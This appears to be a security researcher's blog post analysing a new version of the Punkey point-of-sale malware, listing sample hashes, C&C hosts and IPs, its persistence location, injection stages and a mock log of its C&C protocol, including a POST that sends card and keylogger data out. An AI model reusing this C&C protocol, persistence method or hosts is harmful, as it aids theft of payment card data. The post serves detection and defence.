Reruns from the 1980s are all the rage these days, and like the sitcom it's based on, we've encountered a second run from the Punkey Point of Sale malware as part of an investigation we're working on with the FBI. In April, we detailed three versions of Punkey that you can read about here. The new version follows pretty much the same plot with a few additions I will talk about here.
Sample
Jusched.exe
- Version: 2015-02-10
- Compile Date: 2015-02-10
- SHA-256: 6d78550d140061607557bac7c9ba70787e9589b200758f4ab8d59f6504bb7563
Dllx64.dll
- Compile Date: 2015-02-04
- SHA-256: bc07262b062e6a4b5b9f38d71a961299a014c4da6c7d63c91dd285994fb3d790
Command and Control (C&C)
This version of Punkey uses a larger list of C&C servers than previous versions. Like it did in previous versions, Punkey will try each server in the list one at a time until a response is received.
- esx.tqurl.net
- 176.31.93.208
- 131.72.63.109
- 178.32.9.105
- 192.3.201.32
All the World's a Stage
Previous versions of Punkey used a two-stage approach that decoded the Punkey binary and injected it into explorer.exe. The latest version adds an additional stage written in Delphi, which is a programming language favored by many malware authors. This additional stage decodes obfuscated shell code that is responsible for mapping the Punkey injector into memory. A new process is created, the injector is mapped into memory and execution is passed to it. The injector operates exactly the same as previous versions, which eventually injects Punkey into explorer.exe. My previous post on Punkey discusses the details of this process along with diagrams for clarity.
New Functionality
Most of the latest version remains the same as previous versions with some new functionality introduced to ensure that the malware is talking to an authentic C&C server. As before, the binary is copied to %USERPROFILE%\Local Settings\Application Data\jusched\jusched.exe and persistence is added to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run. Before performing the initial check-in with the server, Punkey checks to see if a file called cookie exists in the jusched directory. If the file exists it is read into memory and stored in a global variable that is used in future communication with the C&C server. If the file does not exist, a GET request is sent to the C&C server:
GET /21kjn2bkhjv/?action=getuid HTTP/1.1
The response from the server must match the string: 'uid-' and be five-or-more characters long. If these criteria are met the cookie file is created in the jusched directory and the UID is written to it. If there is no response from the server or either of the requirements is not met, the malware will try the next C&C server in the list. The UID that has been seen in the wild was composed of 13 hex characters, however we can't share it since it is part of an investigation. It is unknown at this point how the server generates the UID. This diagram depicts the cookie creation logic flow:
Communication
Communication between Punkey and the C&C servers is slightly different than previous versions. Here is a breakdown of the 2015-02-10 version communicating with a "fake" C&C server that I mocked up:
Note: All communication is local and the track data is faked but passes luhn checks
# After install, Punkey finds it does not have a UID, so one is requested from the server
[GET /21kjn2bkhjv/] action=getuid
# The UID is retrieved and Punkey checks in with the clients' information
[GET /21kjn2bkhjv/] action=sendinfo&uid=uid-fakeuid&bit=32&version=2015-02-10
# Alerts the server to an action
[POST /21kjn2bkhjv/index.php] action=key&uid=uid-fakeuid&key=RUN
# Checks the server to see if any updates are available
[GET /21kjn2bkhjv/] action=getupdate&uid=uid-fakeuid
# Alert the server that CHD scanning has begun
[GET /21kjn2bkhjv/] action=sendinfo&uid=uid-fakeuid&bit=32&version=2015-02-10
[POST /21kjn2bkhjv/index.php] action=key&uid=uid-fakeuid&key=SCANNING
# Report found CHD or keylogger data to server
[GET /21kjn2bkhjv/] action=sendinfo&uid=uid-fakeuid&bit=32&version=2015-02-10
[POST /21kjn2bkhjv/index.php] action=unkey&uid=uid-fakeuid&unkey=NzzN7lzPPhJY13IwOVsVRGTECxRJcZpuh585JLMRGhi708RLW6lf%2BQzZpfF2yvS9
Tools
The encryption remains the same and can still be decrypted using our Ruby script, which can be found here. The previously posted yara rules will still find Punkey running in memory.
Conclusion
The author(s) of Punkey have taken steps to improve the malware by adding an obfuscation layer to hinder analysis, and a management layer that allows for easier widespread deployment. When taking into account the three previous versions of Punkey, there is a clear pattern of continued and active development by the author(s) over the last several months. To help combat this current threat, we've identified and outlined the changes in the most recent Punkey version as well as provided the community with a number of tools to facilitate detection and ease the burden of analysis. Happy Hunting!
